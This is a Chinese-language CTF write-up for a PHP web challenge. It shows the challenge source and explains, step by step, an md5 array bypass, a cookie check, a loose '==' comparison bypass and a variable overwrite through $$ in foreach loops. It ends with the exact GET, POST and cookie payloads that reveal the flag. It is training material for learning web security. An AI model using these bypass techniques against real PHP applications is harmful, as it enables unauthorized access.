本文最后更新于95 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
一、访问网站
二、分析代码
<?php error_reporting(0);
header("Content-type:text/html;charset=utf-8"); if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){ if(isset($_COOKIE['cookie'])){ if ($_COOKIE['cookie']=='j0k3r'){ if(isset($_GET['aaa']) && isset($_GET['bbb'])){ $aaa=$_GET['aaa'];
$bbb=$_GET['bbb']; if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){ $give = 'cancanwordflag';
$get ='hacker!'; if(isset($_GET['flag']) && isset($_POST['flag'])){ die($give);
} if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ die($get);
}
foreach ($_POST as $key => $value) { $$key = $value;
} foreach ($_GET as $key => $value) { $$key = $$value;
}
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?>
//别来沾边
绕过第一层:
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b))
可以知道,使用数组进行绕过
绕过第二层:
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r')
需要将COOKIE值改为cookie=j0k3r
绕过第三层:
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb)
很明显是弱比较,可以使用114514a在==
下被解析成114514的特性进行绕过
绕过第四层:
if(isset($_GET['flag']) && isset($_POST['flag'])){ die($give);
} if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ die($get);
}
foreach ($_POST as $key => $value) { $$key = $value;
} foreach ($_GET as $key => $value) { $$key = $$value;
}
echo $flag;
由于出现了foreach函数,可以知道考察的是变量覆盖
1.先是需要绕过 if(isset($_GET['flag']) && isset($_POST['flag']))
,即GET和POST不能同时传入flag,因此只是用GET传参
2.其次是绕过 if($_POST['flag'] ==‘flag′ || $_GET['flag'] ===‘flag')
这里需要让变量flag不等于flag,所以flag=123
3.两个foreach()是用来做循环的,即:将GET或POST获得的参数分别给到$key
和$value
,作为键值对,再进行循环体内的操作。例如传入的 123=flag,那么就有$key=123 & $value=flag
4.这里使用第二个foreach()即利用GET传参。原因是,在第二个循环体内,有:$$key = $$value
;$$
相当于一个套娃,例如:
$a = 1;
$$a = 2;
那么$$a就相当于$1
5.为了使flag=flag,输入123=flag,变量123的值就是flag,再输入flag=123,flag就等于flag,于是就实现了绕过`flag===’flag’
三、输入payload
GET:
?aaa=114514&bbb=114514a&123=flag&flag=123
POST:
gdou[]=1&ctf[]=2
COOKIE:
cookie=j0k3r
成功获取flag
总结
- 数组绕过
- 弱比较
- 变量覆盖
- foreach函数
foreach ($_GET as $key => $value) {
$$key = $$value;
}
foreach
循环遍历 $_GET
数组,每次循环时把当前元素的键赋给 $key
变量,把对应的值赋给 $value
变量